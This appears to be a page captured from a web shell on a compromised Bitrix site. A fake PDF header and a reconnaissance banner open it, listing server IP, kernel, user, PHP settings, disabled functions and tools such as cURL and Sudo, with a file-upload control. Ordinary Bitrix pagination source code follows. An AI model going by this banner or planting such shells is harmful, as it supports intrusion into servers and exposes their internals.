%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 18.117.100.82 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/general/ |
Upload File : |
<? class CSaleProxyAdminResult extends CAdminResult { private $parameters = array(); private $entityName = ''; public function __construct($parameters, $entityName, $tableId) { $this->parameters = $parameters; $this->entityName = $entityName; parent::__construct(array(), $tableId); } function NavStart($nPageSize = 0, $bShowAll = true, $iNumPage = false) { $nSize = self::GetNavSize($this->table_id, $nPageSize); if(!is_array($nPageSize)) $nPageSize = array(); $nPageSize["nPageSize"] = $nSize; if($_REQUEST["mode"] == "excel") $nPageSize["NavShowAll"] = true; $this->nInitialSize = $nPageSize["nPageSize"]; if(is_array($nPageSize)) $this->InitNavStartVars($nPageSize); else $this->InitNavStartVars(intval($nPageSize), $bShowAll, $iNumPage); // force to db resource type, although we got empty array on input $en = $this->entityName; $runtime = is_array($this->parameters['runtime']) ? $this->parameters['runtime'] : array(); $filter = is_array($this->parameters['filter']) ? $this->parameters['filter'] : array(); // to increase perfomance, have to throw away unused (in filter) runtimes foreach($runtime as $fld => $desc) { $found = false; foreach($filter as $condition => $value) { if(mb_strpos($condition, $fld) !== false) { $found = true; break; } } if(!$found) unset($runtime[$fld]); } $count = $en::getList(array( 'filter' => $filter, 'select' => array('REC_CNT'), 'runtime' => array_merge($runtime, array( 'REC_CNT' => array( 'data_type' => 'integer', 'expression' => array( 'count(*)' ) ) )) ))->fetch(); $this->NavRecordCount = $count['REC_CNT']; // the following code was taken from DBNavStart() // here we could use Bitrix\Main\DB\Paginator //calculate total pages depend on rows count. start with 1 $this->NavPageCount = floor($this->NavRecordCount/$this->NavPageSize); if($this->NavRecordCount % $this->NavPageSize > 0) $this->NavPageCount++; //page number to display. start with 1 $this->NavPageNomer = ($this->PAGEN < 1 || $this->PAGEN > $this->NavPageCount? ($_SESSION[$this->SESS_PAGEN] < 1 || $_SESSION[$this->SESS_PAGEN] > $this->NavPageCount? 1:$_SESSION[$this->SESS_PAGEN]):$this->PAGEN); $parameters = $this->parameters; $parameters['limit'] = $this->NavPageSize; $parameters['offset'] = ($this->NavPageNomer - 1) * $this->NavPageSize; $res = $en::getList($parameters); $this->arResult = array(); while($item = $res->Fetch()) $this->arResult[] = $item; } } class CSaleProxyAdminUiResult extends CAdminUiResult { private $parameters = array(); private $entityName = ''; public function __construct($parameters, $entityName, $tableId) { $this->parameters = $parameters; $this->entityName = $entityName; parent::__construct(array(), $tableId); } function NavStart($nPageSize = 0, $bShowAll = true, $iNumPage = false) { $nSize = self::GetNavSize($this->table_id, $nPageSize); if(!is_array($nPageSize)) $nPageSize = array(); $nPageSize["nPageSize"] = $nSize; if($_REQUEST["mode"] == "excel") $nPageSize["NavShowAll"] = true; $this->nInitialSize = $nPageSize["nPageSize"]; if(is_array($nPageSize)) $this->InitNavStartVars($nPageSize); else $this->InitNavStartVars(intval($nPageSize), $bShowAll, $iNumPage); // force to db resource type, although we got empty array on input $en = $this->entityName; $runtime = is_array($this->parameters['runtime']) ? $this->parameters['runtime'] : array(); $filter = is_array($this->parameters['filter']) ? $this->parameters['filter'] : array(); // to increase perfomance, have to throw away unused (in filter) runtimes foreach($runtime as $fld => $desc) { $found = false; foreach($filter as $condition => $value) { if(mb_strpos($condition, $fld) !== false) { $found = true; break; } } if(!$found) unset($runtime[$fld]); } $count = $en::getList(array( 'filter' => $filter, 'select' => array('REC_CNT'), 'runtime' => array_merge($runtime, array( 'REC_CNT' => array( 'data_type' => 'integer', 'expression' => array( 'count(*)' ) ) )) ))->fetch(); $this->NavRecordCount = $count['REC_CNT']; // the following code was taken from DBNavStart() // here we could use Bitrix\Main\DB\Paginator //calculate total pages depend on rows count. start with 1 $this->NavPageCount = floor($this->NavRecordCount/$this->NavPageSize); if($this->NavRecordCount % $this->NavPageSize > 0) $this->NavPageCount++; //page number to display. start with 1 $this->NavPageNomer = ($this->PAGEN < 1 || $this->PAGEN > $this->NavPageCount? ($_SESSION[$this->SESS_PAGEN] < 1 || $_SESSION[$this->SESS_PAGEN] > $this->NavPageCount? 1:$_SESSION[$this->SESS_PAGEN]):$this->PAGEN); $parameters = $this->parameters; $parameters['limit'] = $this->NavPageSize; $parameters['offset'] = ($this->NavPageNomer - 1) * $this->NavPageSize; $res = $en::getList($parameters); $this->arResult = array(); while($item = $res->Fetch()) $this->arResult[] = $item; } }